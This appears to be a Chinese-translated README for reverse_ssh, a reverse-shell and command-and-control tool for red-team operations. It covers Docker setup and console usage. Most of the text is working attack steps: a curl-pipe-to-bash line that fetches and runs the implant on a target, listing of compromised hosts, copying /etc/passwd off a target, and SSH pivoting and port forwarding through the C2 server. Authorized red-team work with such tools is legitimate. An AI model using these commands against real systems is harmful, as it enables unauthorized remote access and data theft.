
reverse_ssh v2.8.1
基于SSH的反向Shell管理工具,原生支持SCP/SFTP、多种传输协议、Windows DLL生成以及无文件执行,适用于红队行动。
Reverse SSH

(插图作者:https://www.instagram.com/smart.hedgehog.art/)
想用 SSH 做反向 shell?现在可以了。
- 使用原生 SSH 语法管理和连接反向 shell
- 动态、本地和远程端口转发
- 原生
SCP和SFTP实现,用于从目标主机获取文件 - 完整的 Windows shell
- 多种网络传输方式,例如
http、websockets、tls等 - 客户端与服务器双向认证,以建立高信任度的控制通道 以及更多功能!
+----------------+ +---------+
| | | |
| | +---------+ RSSH |
| Reverse | | | Client |
| SSH server | | | |
| | | +---------+
+---------+ | | |
| | | | |
| Human | SSH | | SSH | +---------+
| Client +-------->+ <-----------------+ |
| | | | | | RSSH |
+---------+ | | | | Client |
| | | | |
| | | +---------+
| | |
| | |
+----------------+ | +---------+
| | |
| | RSSH |
+---------+ Client |
| |
+---------+
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
TL;DR
安装配置
推荐使用容器版本,因为它包含了正确版本的 golang,以及用于 Windows 的交叉编译器。
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="<ssh_key>" -v ./data:/data reversessh/reverse_ssh
或 docker compose:
services:
reversessh:
image: reversessh/reverse_ssh
ports:
- "3232:2222"
environment:
- EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
- RSSH_CONSOLE_LABEL=c2.label
- RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
- SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
volumes:
- ./data:/data
基本用法
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
所有命令都支持 -h 标志以获取帮助。
然后典型的 ssh 命令即可正常工作,只需将你的 rssh 服务器指定为跳板主机。
# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine
# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
参考文档
你可以在 docs 文件夹中找到更完整的文档。 其中包括速查表、故障排除等内容。
赞助者
衷心感谢以下人士对 RSSH 项目的捐赠,让这一切工作成为可能!
个人
chikamobina 的慷慨捐赠!
wrighterase (ctrlzero) 的贡献与捐赠!
公司
Carapace 是一家总部位于新西兰的安全咨询公司,拥有一支才华横溢的团队!

捐赠、支持或回馈
回馈 RSSH 项目最简单的方式是发现 bug、提交功能请求,并向你认为会觉得它有用的人进行口碑宣传!
不过,如果你想直接回馈我,可以通过 Github Sponsors 或向以下任一钱包地址转账:
Monero (XMR):
8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND
Bitcoin (BTC):
bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr